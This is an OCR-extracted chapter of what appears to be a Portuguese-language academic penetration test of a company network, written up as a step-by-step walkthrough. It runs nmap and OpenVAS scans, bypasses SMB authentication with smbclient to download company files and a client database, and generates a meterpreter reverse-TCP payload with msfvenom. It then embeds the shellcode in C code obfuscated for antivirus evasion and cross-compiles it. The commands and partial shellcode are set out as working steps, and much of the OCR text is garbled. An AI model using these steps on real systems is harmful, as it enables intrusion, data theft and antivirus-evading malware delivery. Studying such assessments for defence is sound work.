1116 (1.6 KiB)
verruns 8 carrier 8 collisions @

mtu 1500
1000 (Ethernet)

overruns @ frame @
(0.0

Fonte: Adaptada de Kali Linux 2018.3

Figura 4.17 — Verificacao de hosts ativos pertence a rede por fping

:~# fping -g 192.168.0.08/24
192.168.0.1 is alive
192.168.0.10 is alive
ICMP Host Unr rom 192.168.0.10 for ICMP Echo sent to 192.168.0.37

b .8.10 for ICMP Echo sent to 192.168.0.
ICMP Host Unreachable from 192.168.8.10 for ICMP Echo sent to 192.168.0.

Fonte: Adaptada de Kali Linux 2018.3

O comando utilizado nmap —-v  -sn 192.168.0.0/24  —0G
hostsvivos. txt (Figura 4.18) realizou uma varredura mais detalhada em todo o range de
IPs pertencentes a rede, do nimero 0 ao 255, listando todos os hosts ativos na rede e salvando
em um arquivo nomeado como “hostsvivos.txt” salvo no diretério “root”.

A Figura 4.19 ilustra o comando grep, este que é responsavel por realizar uma busca
pelo termo “Up” dentro do arquivo onde foram salvos os dados dos IPs da varredura, os
resultados que possuem este termo estdo online na rede.

Implementou-se um novo filtro com o objetivo de deixar os resultados mais legiveis,
neste caso, o comando cut (“recortar”) dos dados antes do espaco, colocando em um outro
arquivo chamado “IPs”. Através do comando cat, ttm-se os resultados dos IPs que estdo

disponiveis na rede, sem nenhum dado posterior a eles. A Figura 4.20 ilustra o resultado
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Figura 4.18 — Varredura mais detalhada por nmap

root@YagoKali: ~ [ <]

Arquivo Editar Ver Pesquisar Terminal Ajuda

t~# nmap -v
7.70 ( http
g Scan

at 14:32, 0.12s elapsed
® [host down]
.1

(Hewlett Packard)
.2

(Intelbr
.3 [host

down]
down]
down]

Host 1is
MAC A

down]
.106 [hi down]
.107 [host down]
-1e8

MAC Add (Elitegroup Computer

Nmap scan r r 7 c .19
Host is up (@. s latency).

Fonte: Adaptada de Kali Linux 2018.3

Figura 4.19 — Filtrando IPs pelo status por grep

is up.
R data files from: /usr/bin/../share/nmap
Nmap done:

Fonte: Adaptada de Kali Linux 2018.3

Figura 4.20 — Removendo termos apds os nimeros de IPs

# grep "Up" hostsvivos.txt | cut -d " " -f2 > ips
cat ips

Fonte: Adaptada de Kali Linux 2018.3

4.2 Modelagem

Nesta etapa sdo verificados quais 0s servicos, portas e protocolos estdo sendo
executados pelas maquinas ativas na rede. Através desses dados podem ser analisados e

definidos qual o melhor caminho para prosseguir para etapa posterior.
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O nmap também foi utilizado para analisar quais servicos estdo rodando nas maquinas
alvo e suas respectivas portas. O comando nmap —v —sV —Pn 192.168.0.0/24, onde
0 —Vv aumenta o nivel de informag6es coletadas, —sV mostra as versdes dos servi¢os ativos e
suas respectivas portas, —Pn ignora a verredura por hosts ativos, e 192.168.0.0/24
varre todo o range de IPs daquela rede (Classe C), ilustrado na Figura 4.21. Em geral, o
objetivo de analisar todo o range de rede, apenas para as maquinas ativas, retornando o0s
servicos que estdo rodando, com detalhamento mais aprofundado e suas respectivas portas

ativas, analisando 1000 portas mais utilizadas, de acordo a base de dados do nmap.

Figura 4.21- Varredura de portas e servigos, utilizando a ferramenta Nmap

root@YagoKali: ~ (IO -}

Arquivo  Editar Ver Pesqui
Kaw pacKets

r Terminal Ajuda
€nT: © (UB) | RCvd: U (UB)
V -Pn 192.168.0.0/24
map.org ) at 2018-05-19 14:54 -03
ing.

in 1.51s (3 hosts left)
84 in 1.51s (2 hosts left)

@70/tcp on 192.1i
t 1801/tcp on 192

Fonte: Fonte: Adaptada de Kali Linux 2018.3

A Figura 4.22 ilustra o objetivo de verificar as portas 139 e 445, respectivamente, que
rodam o servico SMB e retornam quais hosts estdo abertos e servicos que estdo rodando. A
Figura 4.23 ilustra os dados retornados de um host que estava rodando o servigo. Vale ressaltar,
que alguns mecanismos de protecdo quando estdo bem configurados detectam as analises deste

software e blogueiam a varredura, mas nesse caso ndo houve nenhum bloqueio.
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Figura 4.22 — Varredura das portas 135 e 445

root@YagoKali: ~ e o

Arquivo Editar Ver Pesquisar Terminal Ajuda
Raw pack ent: 17500 (762.048KB) | Rcvd: 14817 (565.833KB)
:~# nmap open - Pn -p 139,445 192.168.0.0/24
rg ) at 2018-65-19 15:00 -03

1th Scan at 15:00

[2 ports/host]
port 139/tcp on 192.
port 139/tcp on 192.
open port 139/tcp on 192.
d open port 139/tcp on 192.
en port 139/tcp
port 139/tcp
port 139/tecp
port 139/tcp
port 139/tcp
port 139/tcp
port 139/tecp
port 445/tcp
port 445/tcp
port 445/tecp
port 445/tcp
port 139/tcp
139/tcp
0 445/ tcp
en port 445/tcp
open port 445/tcp

Fonte: Adaptada de Kali Linux 2018.3

el el e e e e I Il [P

Figura 4.23—- Resultado da varredura das portas 135 e 445

root@YagoKali: ~ (- IO < )

Arquivo Editar Ver Pesquisar Terminal Ajuda
Host is up (0.00043s latency).

PORT STATE SERVICE
139/tcp open net
445/tcp open mic

MAC Ad 80

Nmap scan repor

445/tcp open mic
MAC Address: 4C:7. :59:A7 (Pegatron)

Nmap scan report for 192.168.0.168

Fonte: Adaptada de Kali Linux 2018.3

4.3 Analise de Vulnerabilidades

Resultados da Ferramenta OpenVVAS. Na Figura 4.24 definiu-se a primeira verificacao
para 0s hosts passando o arquivo onde estavam ativos na etapa anterior. Foram configurados: o
nivel de andlise e quais portas e protocolos seriam analisados. A configuracdo utilizada foi a
padrdo e o nivel de analise foi o mais completo e, consequentemente, 0 mais demorado. A
Figura 4.25 ilustra os “IPs” analisados que estavam ativos na rede de acordo com a lista obtida

na etapa anterior, enquanto a Figura 4.26 ilustra a conclusdo da analise dos IPs.
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Figura 4.24 — Configuragdo de varredura no OpenVAS

Assets o
Apply Overrides yes no
Min QoD [70 =K
Alterable Task yes no
Auto Delete Do not automatically delete reports
Reports . =
Automatically delete oldest reports but always keep newest‘ 5 - ‘repuns
Scanner OpenVAS Default
Scan Config Full and fast ultimate

Network Source Interface

Order for target hosts Sequential

Maximum concurrently executed ‘ 4 2 ‘
NVTs per host

Maximum concurrently scanned ‘ﬂ‘
hosts > g

Fonte: Adaptada de OpenVAS
Figura 4.25- Lista de IPS analisados
192.168.0.1, 192.168.0.10, 192.168.0.103, 192.168.0.108, 192.168.0.109, 192.168.0.111, 192.168.0.112, 192.168.0.122, OpenVvAS
== 192.168.0.124, 192.168.0.131, 192.168.0.161, 192.168.0.162, 192.168.0.254 = Default Cite e
vApply to page contents v |4
Fonte: Adaptada de OpenVAS
Figura 4.26- Concluséo da verificacao.
Testes IPs Alve [ Bere | 1(1) Ma;r 192018 [ 100 Hign | :a:; ‘ :

VAPply to page Contents v B

Fonte: Adaptada de OpenVAS

O resultado do teste exibe as vulnerabilidades encontradas, o grau de severidade,
respectivos servigos e portas identificados em todos os hosts (Figura 4.27).

Foram encontradas 44 vulnerabilidades distribuidas em niveis, baixo, médio e alto, de
acordo com a analise do software. Vale ressaltar, que o uso dessas ferramentas gera um alto
grau de ruido na rede, ou seja, sistemas de protecdo conseguem identificar e bloquear essas
verificagcbes. Logo, foi identificado que o antivirus das méaquinas, da empresa Kaspersky
(Figura 4.28) identificou a varredura como um ataque de rede, podendo assim ter blogueado a
analise e, consequentemente, alguma vulnerabilidade pode ter passado despercebida e néo
identificada. Também pode gerar falsos positivos, em que, as vezes, pode identificar alguma

vulnerabilidade que ndo existe na prética.
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Figura 4.27 — Resultado do grau de severidade das vulnerabilidades encontradas
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Figura 4.28- Resultado do antivirus Kaspersky: (a) deteccdo de ataque de rede e (b) detalhamento do

ataque

Vs Ataque de rede bloqueado

A conexdo com o computador atacante nao foi
blogueada mas seu endereco IP possivelmente &
falso

Cetalhes

(@)

Wu Relatérios Detalhados - X

| & Bloqueador de Ataques de Rede ~ | | 24hores v Exportar.. @
L= 1

Hoje

O ataque de rede foi bloqueado. O ataque de rede foi bloqueado.

TCP de 192.168.0.10 para a porta 445
O computader de ataque foi bloqueado. Pratocolo

O ataque de rede foi bloqueado. 156 1GMP

IGMP de 192.168.0.10

O computador de ataque néo foi bloqueado: seu enderego € possivelmente falso. 1P do computador de ataque

192.168.0.10

Hora
Hoje, 19/05/2018 11:56

(b)

Fonte: Adaptada de Kaspersky Labs

Na Figura 4.28 a identificacdo do software antivirus, da analise como sendo um ataque
de rede, enquanto a Figura 4.28b ilustra o detalhamento da detec¢édo, informando de qual IP
estd partindo o possivel ataque. Nesta fase foram levantadas muitas vulnerabilidades, nas
maquinas avaliadas, consideradas graves se exploradas, possivelmente, colocando em risco 0s

dados da empresa.

4.4 Exploracéo

A fase de exploracdo consiste no mapeamento de vulnerabilidades e utilizar
estratégias na tentativa de burlar os servigos identificados anteriormente, com o objetivo de
obter acesso na rede e aos computadores da organizacdo. Os topicos foram distribuidos de
acordo com as vulnerabilidades graves encontradas e as técnicas utilizadas na tentativa de
explorar as falhas nos computadores onde elas foram identificadas. Tendo como o servidor o

alvo prioritario, pois nele sdo armazenados os dados mais sensiveis da organizacdo. Em
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seguida, serd narrado o caminho mais eficiente encontrado, acessando o sistema alvo. E por
altimo, a simulagdo da ordem temporal de um ataque que provavelmente um black hat

utilizaria para comprometer os ativos da organizacéo.

A wulnerabilidade SMB/NETBIOS NULL Session Authentication Bypass
Vulnerability ocorre quando o compartilhamento de diret6rio de arquivos ndo possui senha ou,
mesmo existindo, a versdo do SMB esta desatualizada, podendo assim um atacante acessar 0s

arquivos do compartilhamento da rede, ler e gravar arquivos neste diretorio.

A Figura 4.29 ilustra o comando para listar os diretérios do host 192.168.0.1,

utilizando o protocolo de compartilhamento de pastas SMB.

Figura 4.29 — Listagem dos diretérios do servidor

:~/Area de trabalho# smbclient -L ;‘/2.168.0,1 -N

Fonte: Adaptada de Kali Linux 2018.3

A Figura 4.30 ilustra os diretérios do computador visiveis para usuarios nao

autorizados para o compartilhamento, mas isto ndo quer dizer que a falha existe de fato.

Figura 4.30 — Diretorios compartilhados do servidor

:~# smbclient -L //192.168.0.1 -N -U Administrator
WARNING: The "syslog" option is deprecated

Sharename Type Comment

Disk
ADMINS$ Disk Administracdo remota
C Disk
C$ Disk Recurso compartilhado padréo

D% Disk Re so compartilhado padrao
Disk

IPC% IPC IPC remoto
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 192.168.0.1 failed (Error NT STATUS RESOURCE NAME NOT FOUND)
Failed to connect[rith SMB1 -- no workgroup available
i~

Fonte: Adaptada de Kali Linux 2018.3

Na Figura 4.31 ilustra a execucédo do codigo smbclient //192.168.0.1/c —N
—U Administrator ,onde 0 //192.168.0.1/c ¢ o endereco do computador e o local
de acesso é o disco local C://, o —N significa que ndo ha senha a ser informada e—U ¢ passado
um usuario aleatorio “Administrator”, na tentativa burlar o sistema de compartilhamento, pois
sem a utilizacdo de parametro, espera-se a solicitacdo de senhas. Este comando tem como
objetivo conseguir acessar pastas compartilhadas do servidor. Apds a execugdo, 0 acesso é
concebido ao computador, mesmo tendo senha na rede de compartilhamento,

consequentemente, burlando a autenticacao.
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Figura 4.31 - Ataque Bypass SMB

:~# smbclient -L //192.168.0.1 -N -U Administrator
WARNING: The "syslog" option is deprecated

Sharename Type Comment

Disk
ADMINS Disk Administracao remota
c

. Disk
C$ Disk Recurso compartilhado padrao
D$ Disk Recurso compartilhado padréo
Disk
IPC IPC remoto
Disk
SMB1 for workgroup listing.
Connection to 192.168.0.1 failed (Error NT STATUS RESOURCE NAME_NOT FOUND)
Failed to connect with SMB1 -- no workgroup available
mbclient //192. -N -U Administrator
WARNING: The " og" option is
Try "help" to get a list of possible commands.
smb: \= 1s
NT_STATUS ACCESS DENIED listing \*
smb: \>

Fonte: Adaptada de Kali Linux 2018.3

Na Figura 4.32, utilizou-se 0 mesmo comando anterior para acessar outra pasta
compartilhada, a qual continha o0 nome da empresa. Em seguida, utilizou-se o comando Is, para
listar os arquivos disponiveis na pasta, ou seja, pastas e arquivos compartilhados com todos os
usuarios da rede, contendo documentos relacionados a Empresa. A falha foi explorada com
sucesso.

Figura 4.32 — Acesso a pasta da Empresa compartilhada e listagem de arquivos

root@YagoKali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda

EI e

-N -U Administrator

Jul 38 13:09:55 2018
Jul 36 SEE 2018

Jul P9:08: 2018

A xLsx 3 Mar £ b 2013
A - CAUC g et D : B 2015
A - CAUC.rar 28224 26 10: 3 2017
ANIVERSARIANTES E DATAS COMEMORATIVAS.docx 4 14:38:04 2017

Fonte: Adaptada de Kali Linux 2018.3

Utilizou-se o comando get, Figura 4.33, para baixar um arquivo,
“TREINAMENTO.pdf” como teste, verificando se 0 acesso possui permissdes suficientes para
baixar arquivos nas pastas compartilhadas.

Figura 4.33 Comando utilizado para download do arquivo TREINAMENTO.pdf para meu computador

smb: \> get TREINAMENTO.pdf
getting fi TREINAMENTO.pdf of size 891291 as TREINAMENTO.pdf (11017,7 KiloByt
es/sec) (average 6261,9 KiloBytes/sec)

;&b: W= D

Fonte: Adaptada de Kali Linux 2018.3
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Neste caso, um invasor ja poderia capturar dados da empresa, Figura 4.34. Foi
realizada a simulagdo com este documento e seu contetdo pode ser visto na Figura 4.35. Todos

0s outros arquivos estao vulneraveis para copia via método get.

Figura 4.34 — Arquivo TREINAMENTO.pdf copiado com sucesso

< » 4 firPastapessoal

D Recentes B - . -
fir Pasta pessoal

& Area de trabalho

[} Documentos : . h

® Downloads
‘6] Imagens
J1 Musica n
B Videos TREINAME
i) Lixeira NTO.pdf
Fonte: Adaptada de Kali Linux 2018.3
Figura 4.35 — Contetdo do arquivo TREINAMENTO.pdf copiado
1 el ¢ >llall® Altomatilty genteated ToF from eidsting Images: mus v | pll=| @@ @
Minl.. =
Parametrizacdo das receitas e Despesas
e vinculadas (Ensino e Satde)
2 TREINAMENTO

Fevereiro / 2014

Fonte: Empresa experimentada

Apos a falha explorada, navegou-se até a pasta onde existe um dos sistemas utilizado
pela Empresa (Figura 4.36).
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Figura 4.36 — Navegacéo de pastas do sistema da Empresa

root@YagoKali: ~ o ® O

Arguive Editar Ver Pesquisar Terminal Ajuda

Fonte: Elaborada pelo autor

A Figura 4.37 ilustra o comando para listar as bases de dados em que a Empresa

armazena clientes nas pastas do servidor.

Figura 4.37 — Listagem dos diretdrios e arquivos da pasta das bases de dados do sistema

root@ YagoKali: ~ e ® O

Arguivo Editar Ver Pesquisar Terminal Ajuda

Jul 17 :09:24 2018

Jul 17 :@9:24 2018

Jul 30 11:56:14 2018

Mar 24 12: :15 2818

Jul 26 12:84:33 2018

Mar 29 13: :14 2016

Mar 16 14:58:41 2017

May 9 10:34:55 2016

Jul 30 11:22:03 20818

Jun 14 12:25:54 2015

843 Mar 15 10:05:18 2012
N 690564 Mar 15 10:05:10 2012
N 860 Sat May 5 13: :30 2012
N 690564 ! May 5 13: :28 2012
860 May 5 13: 144 2012

690564 May 5 13: :38 2012

D
D
D
D
D
D
D
D
D
D

~+
=

uninseoe.
uninseoe.
unins@el.
unins@el.
unins@ez.
unins@ez.

(1]
oo

(1]
oo

—

0o

M &M &M &

O o o ox o
+

(1]
0o

122078527 blocks of size 4096. 14815936 blocks available
smb: DADOS\ =

Fonte: Elaborada pelo autor

Na Figura 4.38 é apresentada a listagem dos arquivos disponiveis dentro da base de
dados da respectiva pasta de um cliente, em seguida, Figura 4.39, a tentativa bem-sucedida de
baixar a base de dados de um cliente. Utilizou-se o comando nano (Figura 4.40) para leitura
dos dados no arquivo, mas o banco de dados esté criptografado (Figura 4.41). Mesmo com esta
seguranca 0s dados da empresa ja poderiam ficar expostos. Nesse momento ja houve
vazamento de dados da Empresa, e black hats acessariam as bases de dados dos clientes
contendo arquivos e documentos de funcionarios, podendo excluir, copiar ou alterar os
arquivos. Esse acesso viola os trés pilares da seguranca da informacéo, classificando este risco

como Extremo.



78

Figura 4.38 — Listagem das bases de dados na pasta de um cliente

root@YagoKali: ~ @ e 0

Arquivoe Editar Ver Pesquisar Terminal Ajuda
smb: \ DADOS\> cd ' = -
smb: DADOSY

Mon Jan 8 15:03:19 2018
‘e Mon Jan 8 15:03:19 2018
201611031533 | .FDB 53960704 Thu Nov 3 15:33:37 2016
201706131118 _ .FDB 204636160 Tue Jun 13 11:18:45 2017
201712151650 .FDB 245440512 Fri Dec 15 16:58:48 2017
201712261117 .FDB 478093312 Tue Dec 26 11:17:07 2017
za.dll 284672 Thu Nov 15:33:36 2016
BKP-20161103-153336 9 Thu Nov 3 15:33:36 2016
BKP-20170613-111844 3 Tue Jun 13 11:18:44 2817
BKP-20171215-165035 ) Fri Dec 15 16:50:36 2017
6
83

BKP-20171226-111652 3 Tue Dec 2

C-- .20170613 1
Tue Jun 13 11:14:13 2017

C-- . N 5162867 Thu Nov
15:03:41 2016

C-- B Tz N 151184265 Fri Dec

11: _:53 2017

15 14:29:16 2017
C-- L20171226 1017.7Z N 151194925 Tue Dec
26 10:18:26 2017 N
iphist.dat N 8@ Tue Dec 26 11:16:52 2817
.FDB A 478093312 Thu Jun 14 15:48:03 2018
.FDB N 11296768 Wed Jan 5 14:47:80 2811 -

Fonte: Elaborada pelo autor

Figura 4.39 — Download da base de dados

122078527 blocks of size 4096. 14815918 blocks available
smb: | \> get 201706131118 | .FDB

getting file V7 \201706131118 .FDB of size 204636160 a
201706131118 | .FDB f11399,L KlluB”t 5 /sec) fdvrldgr 11396,6 KiloBytes/sec)
mb: B A

Fonte: Elaborada pelo autor

Figura 4.40 — Comando nano para visualizar o arquivo da base de dados.

root@YagoKali: ~ @ e O

Arguive Editar Ver Pesquisar Terminal Ajuda
:~# nano 201706131118

Fonte: Elaborada pelo autor
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Figura 4.41 — Dados criptografados da base copiada

root@ YagoKali: ~ e ® O
Arquivoe Editar Ver Pesquisar Terminal Ajuda
GNU nano 2.9.8 201706131118 .FDB

DESCRICAOHE
@EMPRESA_REGLS

KTOMADOROBRA®
KTOMADOROBRA®
~KTOMADOROBRA® ~FCIDADE® ®

B¢ Ajuda gy Gravar Bl Onde esta?g@d Recort txtghl Justificargld Pos atual
B! Sair fli Ler o arq gy Substituirglll Colar txt ggj VerfOrtog gl Ir p/ linha

Fonte: Elaborada pelo autor

Sabendo que a falha do smb pode ser exploravel, utilizou-se um mdédulo auxiliar da
ferramenta metasploit, realizando uma varredura para detectar a vulnerabilidade smb_ms17_10
(Figura 4.42).

Figura 4.42 — Médulo do metasploit varredura da falha smb_ms17_10

-/smb/smb ms17 18|

Fonte: Elaborada pelo autor

4.4.1 Engenharia Social: upload de arquivo malicioso no diretorio do

servidor

Como o acesso do usuario do computador atacante, realizou a captura de arquivos do
servidor. Em teoria, seria possivel transferir arquivos, entdo se utilizou a estratégia de gerar um
payload na tentativa de substituir alguns executaveis do sistema compartilhado utilizado na
Empresa. Os usuarios ao iniciar o sistema seriam infectados com o payload, como

consequéncia ganharia acesso ao computador de onde foi executado (Figura 4.43).
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Figura 4.43 — Simulag&o de execu¢do de médulo — ndo sendo detectado pela ferramenta essa

vulnerabilidade especifica
msT auxiliary( ) = set RHOSTS 192.168.0.1

RHOSTS == 192.168.0.1
msf auxiliary( ) = run

192.168.0.1:445 - Host does NOT appear vulnerable.

Scanned 1 of 1 hosts (180% compl )
Auxiliary module execution completed
auxiliary( ) =

Fonte: Elaborada pelo autor

A Figura 4.44 ilustra a criacdo do payload utilizando o comando msfvenom —p
windows/x64/meterpreter/reverse_tcp lhost=192.168.0.10
Iport=443 —f exe > payloadl.exe, onde msfvenom —p refere-se a0 médulo
do metasploit para criagdo de um payload, windows/x64/meterpreter/reverse_tcp
para escolher o mddulo do meterpreter, especifico para o sistema operacional Windows com
arquitetura 64bits de conexdo reversa, Thost refere-se ao computador responsavel pelo
payload através de um IP local, o comando Iport para configurar a porta local do
computador para a conexdo, -F exe refere-se a saida do formato do payload, e o

> payloadl.exe é o nome do arquivo a ser gerado.

Figura 4.44 - Utilizacdo de um payload com o objetivo de substituir o executavel do programa em rede.

msf > msfvenom -p windows/x64/me cp lhost=192.168.0.10 lport=443 -f exe payloadl.ex

[*] exec: msfvenom -p windows/x64/meterpreter/r rse_tcp lhost=192.168.0.10 lport=443 -fT : > payloadl.exe

[-1 No platform wa cted, choosing Msf::Module::Platform: :Windows from the payload
[-]1 No arch selecte arch: x64 from the payload

No encoder or badcha pecified, outputting raw payload

EEVAGED : 510 b

Final size of exe file: 7168 bytes

Fonte: Elaborada pelo autor

4.4.2 Burlando Antivirus

Segundo Weidman (2014), a cada dia que passa, solu¢cdes de empresas de seguranca
evoluem suas protecGes, como estes tipos de arquivos sdo utilizados para causarem algum
dano, estas empresas realizam investimentos em tecnologia. As solugdes por antivirus
conseguem detectar o malware de dois modos, a saber: (i) definicdes de antivirus - o cédigo do
programa suspeito € comparado com codigos maliciosos presente em seus bancos de dados; e

(ii) analise dindmica - verifica o comportamento do programa suspeito, como atividades
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consideradas maliciosas, como, por exemplo, tentativa de escalagdo de privilégios nédo
autorizados no sistema operacional, substituicdo de arquivos no sistema, entre outros.

A Figura 4.45 ilustra um método para inserir os dois cddigos gerados: a variavel
shellcode que é o shellcode do payload convertido em linguagem C; e uma string pseudo

randémica de um método padrdo no Linux conhecido como urandom.

Figura 4.45 — Método para codificar shellcode do payload

‘m‘ ‘E‘ *Documento sem titulo 1 ‘ Salvar ‘ |E

o0

#include<stdio.h>

unsigned char random[]=
unsigned char shellcode[]=
int main(void){

((void (*)())shellcode)();

Fonte: Adaptada de Weidman (2014, p. 329)

Na Figura 4.46 utiliza-se a técnica conhecida como Cross-compilacdo personalizada,
gerando um payload de conexdo reversa, mas destaca-se o detalhe da utilizacdo de msvenom,
ou seja, a conversdo do shellcode em linguagem C (Figura 4.47). Apds a conversao, criou-se
um arquivo .c um método com duas variaveis; buf e shellcode.

A funcdo método main , Figura 4.46b, é executado para embaralhar de forma recursiva
0 cbdigo contido na varidvel shellcode[] e o codigo contido na variavel random[](Figura
4.46a), utilizando o codigo pseudo aleatério com o objetivo de deixar mais dificil a detec¢do do
payload pelas solugdes antivirus, pelo metodo de detecgdo de defini¢Bes de antivirus.

Figura 4.46 - Cross-compilacéo personalizada (a) inser¢do de dados gerados no arquivo payload.c e (b)

método main do codigo fonte contendo fungdo recursiva.

[ ; = *payload00.c ( i =
| Abrir ~ || & | pay | Salvar || = | [ — I < ]
#include<stdio.h>

unsigned char random[]="pEBrYrke@MlbgRjcE-vOcxLAVVTI-
Nn-3hivieStefYlaUUg7ptHOGyL4aRd4JkcukheAbSc6eoxuf49x8CUZrwTApsSjgobmOeEqz7 fogKOXCRT3AIXrPVkxoyD90GGU
GbeBxk4ogtv2ML9E4TiCuY3376PGtIsRZI2vYBUV] 1Vezm42zmptkmmguAtKUXSIKVtno4RIOKkC34YXA4ezCKkCOW2RrvrIpUGKE
XAXAdOIj72016yX5jVg3hsY0IKCsZZqGLl6T3KQcD2xGOCEEBZz64UmLbpSCIc8Dvakuf3Xvol0ONzeB2ne6CEY2ND57 -
T7LPbailQus83d";

unsigned char shellcode[]=("\xTc\x48\x83\xed\xTO\xeB\xcc\x00\x00\Xx00\ x4 1\ x51\x41\ x50\ x52"
"\X51\x56\x48\x31\xd2\x65\x48\ xBb\x52\x60\x48\x8b\x52\x18\x48"
"\ x8b\ x52\X20\x48\ x8b\x72\ x50\ x48\x0 f\ xb7\ x4a\ x4a\ x4d\x31\ xc9"
"\ x4B8\x31\XcO\Xac\x3c\X61\Xx7c\x02\Xx2c\x20\ x41\xc 1\ xcO\ xBd\ x41"
"AX01\xcl\xe2\ xed\ x52\x41\x51\ x48\xB8b\ x52\ x20\xBb\ x42\ x3C\ x48"

(@)



82

Figura 4.46 (continuac&o)

R [ O

'\xGO\x@O\X4L\xJ8\xoa\x@@\xSa\x~l\xua\x00\x’f\x@f\x*ﬂ\xff\de'
"\X57\x59\x41\xba\x75\x6e\ x4d \ x6 1\ x T T\ xd5\x49\xff\xce\xe9\x3c"
AKRFFAXFFAXFF\ 4B\ x01Y\xC3\x48\x29\x 6\ x48\xB5\xT6\x75\xbd\x41"
"\ T\ xe7\x58\x6 E

int main{veoid){

{(void (*)())shellcode)();

C » largura da tabulacdo: 8 = Lin 38, Col 64 - INS

(b)
Fonte: Weidman (2014, p. 330)

Figura 4.47 - Conversao do shellcode do payload em linguagem C

root(@ YagoKali: ~

Arquivo  Editar Ver Terminal  Ajuda
-p windows/x64/meterpreter/reverse tcp lhost=192.168.0.10 lport=443 -f c
[-] No platf ! cted, choosing MsT::Module::Plat n::Windows from the payload
[-]1 No dlCh selecte cting arch: x64 from the payload

bdd(hdl cified, outputting raw payload
: 510 b

Pesqumar

"\ x48 \a.}l\»cl)\»dc\».)c\ (B1Y\ X 7(\»02\»ZC\»20\»41\»(1\;(9\”)[]\»41"

Fonte: Elaborada pelo autor

A Figura 4.48 ilustra a utilizacdo do codigo cat /dev/urandom | tr —dc A-
Z-a-z-0-9 | head —c512, onde: /dev/urandom é método pseudo randomico do
Linux, tr —dc A-Z-a-z-0-9 ¢ definicdo de caracteres alfanuméricos e head —c512 ¢
uma String de 512 bits.

Figura 4.48 - Utilizacdo de um método pseudo randdémico do Linux

root@YagoKali: ~ @ ® 0O

Arquive Editar Ver Pesquisar Terminal Ajuda

:~# cat /dev/urandom | tr -dc A-Z-a-z-8-9 | head -c512
PEBrYrk@MlbgRjcE-vBcxLAVVTI-Nn-3hilieStefyY 1d|_lL|g7ptHﬂG (L4aRd4JkcukheAb5c6eoxut49x
8CUzrwTApsSjgo6mOeEqz7 foqKOXCRT3AIXrPVkxoyD90GGUNjbj14pGsiRIADsSBz533wltfqBIsquv T
N9WdbFI®1438DWpqvPLLg16DjpcHzZcGIF2D3alYMgilgmi7H-GbeBxk4ogtv2M19E4fiCuY3376PGt]

SRZJ2vYBUV]1Vezm42zmptkmmguAtKUXSIKVtno4RIOKC34YXA4ezCKKCOW2R v rIpUBKBFCHVYLhPHHG
447Z5FGYztqg6]ZLBQVSEBRZSBUUAXZP27X76pmFcMXVLow40RILivnFfW6bIzogDhBPgDURBLVKNAYYyU
ImQjRyH-xAXAdOIj72016yX5jVg3hsYOIKCSZZqGLl6T3KQcD2xGQCEE8z64UmLbpSCIc8Dvakuf3Xvol
ONzeB2ne6CEY2ND57-T7LPbaiuQus83d s~ #

Fonte: Elaborada pelo autor

Apols o arquivo ser salvo, utilizou-se o compilador gcc para transformé-lo em

executavel do Windows. Essa acdo € ilustrada na Figura 4.49.
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Figura 4.49 — Compilacéo do arquivo payload00.c e geracéo de arquivo executavel

:~# 1586-mingw32msvc-gcc -0 payload@®.exe payloade@.c

=

Fonte: Elaborada pelo autor

Visando a deteccdo de possiveis ameacas, muitas empresas adotam o software Virus
Total (Figura 4.50), um site que faz analise de malwares em arquivos e links contra ameacas e

utiliza a maioria das solucdes antivirus presentes no mercado para realizar a analise.

Figura 4.50 — Interface do Virus Total

Confirm file upload

You have chosen the file named:
payload00.exe

Do you want to continue with the upload and get this file scanned?

(o ) (o ]

Fonte: Adaptada de https://www.virustotal.com

A Figura 4.51 ilustra a utilizacdo do Virus Total para o arquivo gerado (payload.exe).
O arquivo executavel foi capaz de bular mais de 50% das analises dos antivirus, mas nao ao
que o host 192.168.0.1 devido ao Kaspersky. Ao utilizar o Virus Total, automaticamente é
enviado amostras do malware para todas as empresas, consequentemente, transcorrendo em
atualizacdo das bases de dados dos antivirus, logo, em pouco tempo, as ameacas passam a ser

detectaveis.



Figura 4.51 — Resultado da andlise do arquivo payload00.exe

Detection Details
Ad-Aware
AlYac
Arcabit
AVG
BitDefender
ClamAv
Cybereason
Emsisoft
eScan
F-Secure
Ikarus
K7GW
MAX
NANO-Antivirus
Rising
Sophos ML
VBA32

AegisLab

Avira

Babable

CMC

Cyren

eGambit

Fortinet

Kingsoft

McAfee

Palo Alto Networks
Sophas AV
TACHYON
TheHacker
TrendMicro-HouseCall
ViRobot

Yandex

Alibaba

Trustlook

Ol
o SHA-256
:’I‘ File name
File size

Last analysis

34 engines detected this file

199ae642fc8946e5dbb03d5c499fdob23c715c62eff0501888126ac6c4918731

payload00.exe
351.38 KB
2018-08-13 06:31:45 UTC

Community

A

opPPEPEERPPEPERPEPEPDEPDEDD

Q000 000D OOB O

DeepScan:Generic.RozenaA.1D336FB5
DeepScan:Generic RozenaA.1 DI36FB5
DeepScan:Generic.RozenaA.1D936FB5
Win32:5wrort-5 [Trj]
DeepScan:Generic RozenaA.1 DI36FB5
Win.Trojan.MSShellcode-7

malicious.25abe2

DeepScan:Generic.RozenaA.1D336FB5
(8

DeepScan:Generic.RozenaA.1D936FB5
DeepScan:Generic. RozenaA.1D936FB5
Trojan.win32.Metaenc

Trojan (004d2df91)

malware (ai score=80)

Trojan.Win32.Rozena.featdw

HackTool.Swrort!1.6477
(RDM +:cmRtazr7A6+Qy278h1ylr882a...

heuristic

Trojan.Meterpreter

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

Clean

AhnLab-v3
Antiy-AVL
Avast

Baidu
CAT-QuickHeal
CrowdStrike Falcon
Cylance
Endgame
ESET-NOD32
GData
K7AntiVirus
Kaspersky
Microsoft
Panda
SentinelOne
Symantec
ZoneAlarm

Avast Mobile Security

AVware

Bkav

Comado

Drweb

F-Prot

Jiangmin
Malwarebytes
McAfee-GW-Edition
Qihoo-360
SUPERARtiSpyware
Tencent
TrendMicro

VIPRE

Webroot

Zoner

Symantec Mobile Insight

Fonte: Elaborada pelo autor

ebPPPPPPEPEPEPPPEEDPD

000 00DV O

Trojan/Win32.Generic.C2566548
Trojan/Win32.AGeneric

Win32:Swrort-S [Trj]

Win32.Trojan.WisdomEyes.16070401....

Trojan.GenericPMF.52878728
malicious_confidence_80% (D)
Unsafe

malicious (high confidence)
avariant of Win32/Rozena.PB
DeepScan:Generic.RozenaA.1D336FB5
Trojan (004d2dfo1 )
HEUR:Trojan.Win32.Generic
Trojan:Win32/Meterpreter.gen!C
